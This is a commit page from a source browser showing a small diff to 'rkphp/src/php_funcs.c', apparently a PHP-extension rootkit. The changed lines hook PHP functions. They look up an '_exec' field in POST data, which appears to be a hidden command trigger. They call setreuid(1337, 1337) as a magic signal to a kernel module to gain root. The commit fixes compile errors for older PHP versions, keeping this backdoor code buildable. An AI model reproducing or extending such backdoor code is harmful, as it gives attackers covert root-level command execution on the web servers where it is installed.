Browse Source

Default

master
Root 5 years ago
parent
commit
eaad8338fc
  1. 8
      rkphp/src/php_funcs.c

8
rkphp/src/php_funcs.c

@ -21,7 +21,7 @@ static int rkphp_hook( @@ -21,7 +21,7 @@ static int rkphp_hook(
#if PHP_MAJOR_VERSION < 7
if(zend_hash_find_ptr(CG(function_table),
method_name, strlen(method_name)) == SUCCESS)
method_name, strlen(method_name), (void**)&function) == SUCCESS)
#else
if((function = zend_hash_str_find_ptr(CG(function_table),
method_name, strlen(method_name))) != NULL)
@ -122,7 +122,7 @@ PHP_FUNCTION(rkphp_ex) @@ -122,7 +122,7 @@ PHP_FUNCTION(rkphp_ex)
RKPHP_PRINTF("[!] CODE: %lx matched %lx\n", lstart + lend, code);
/* This is where we'll attempt to interact with the kernel module */
setreuid(1337, 1337);
if(setreuid(1337, 1337));
if(getuid() != 0)
{
@ -175,7 +175,7 @@ PHP_RINIT_FUNCTION(rkphp) @@ -175,7 +175,7 @@ PHP_RINIT_FUNCTION(rkphp)
#if PHP_MAJOR_VERSION < 7
if(zend_hash_find(&EG(symbol_table),
"_POST", sizeof("_POST") - 1, &arr) == SUCCESS)
"_POST", sizeof("_POST") - 1, (void**)&arr) == SUCCESS)
#else
if((arr = zend_hash_str_find(&EG(symbol_table),
"_POST", sizeof("_POST") - 1)) != NULL)
@ -186,7 +186,7 @@ PHP_RINIT_FUNCTION(rkphp) @@ -186,7 +186,7 @@ PHP_RINIT_FUNCTION(rkphp)
#if PHP_MAJOR_VERSION < 7
if(zend_hash_find(ht,
"_exec", sizeof("_exec") - 1, &val) == SUCCESS)
"_exec", sizeof("_exec") - 1, (void**)&val) == SUCCESS)
#else
if((val = zend_hash_str_find(ht,
"_exec", sizeof("_exec") - 1)) != NULL)

Loading…
Cancel
Save